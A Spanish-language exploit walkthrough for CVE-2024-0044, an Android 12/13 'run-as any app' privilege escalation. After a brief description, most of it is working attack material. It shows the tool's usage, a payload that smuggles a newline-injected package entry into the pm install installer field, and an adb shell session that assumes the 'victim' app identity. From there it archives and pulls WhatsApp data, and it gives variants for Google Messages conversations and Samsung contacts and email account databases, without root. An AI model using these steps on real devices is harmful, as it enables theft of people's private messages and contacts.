
CVE-2024-0044: una vulnerabilidad de alta severidad «run-as any app» que afecta a las versiones 12 y 13 de Android
CVE-2024-0044, identificada en la función createSessionInternal del archivo PackageInstallerService.java, es una vulnerabilidad de alta gravedad que afecta a Android versiones 12 y 13. Esta vulnerabilidad permite a un atacante realizar un ataque «run-as any app», lo que conduce a una escalada local de privilegios sin requerir interacción del usuario. El problema surge debido a una validación de entrada incorrecta dentro de la función createSessionInternal. Un atacante puede explotar esto manipulando el proceso de creación de sesión, obteniendo potencialmente acceso no autorizado a datos sensibles y realizando acciones no autorizadas en el dispositivo afectado.
El exploit fue descubierto por Meta security
La prueba de concepto fue resumida y compartida por Tiny hack
Los detalles sobre el parche de seguridad se pueden encontrar en el boletín de seguridad de Android
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P se usa para especificar el nombre del paquete objetivo con el que deseas ejecutar
-A para especificar el archivo APK que se enviará al dispositivo
Ejecuta la herramienta
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Se generará un archivo payload.txt de la siguiente manera
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success después del último comandopl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Crea un directorio temporal: mkdir /data/local/tmp/wa/
Crea un marcador de posición para un archivo tar: touch /data/local/tmp/wa/wa.tar
Establece permisos amplios: chmod -R 0777 /data/local/tmp/wa/ para garantizar que cualquier usuario pueda leer, escribir y ejecutar dentro de este directorio.
Cambia el contexto de usuario: run-as victim para obtener los mismos permisos que el usuario "victim".
Archiva los datos de la aplicación objetivo: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, creando un archivo tar del directorio de datos de WhatsApp.
adb pull /data/local/tmp/wa/wa.tar
Puedes extraer los datos usando 7z o cualquier otra herramienta
Puedes usar Whatsapp chat exporter para convertirlo a HTML
Esto te permite obtener los datos de WhatsApp sin acceso root en tu dispositivo.
Solo cambia el nombre del paquete de la siguiente manera
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
Sigue las instrucciones anteriores y, después de extraer el archivo wa.tar, descomprímelo y abre las conversaciones en com.google.android.apps.messaging/databases/bugle_db con sqlitebrowser o cualquier otra herramienta.
Probado en dispositivos Samsung. Para otros dispositivos, comprueba el nombre del paquete del proveedor de contactos.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
Sigue las instrucciones anteriores y, después de extraer el archivo wa.tar, descomprímelo y abre los contactos en com.samsung.android.providers.contacts/databases/contacts2.db con sqlitebrowser o cualquier otra herramienta. El archivo de base de datos contiene toda la información de las cuentas de correo del usuario junto con la lista de contactos.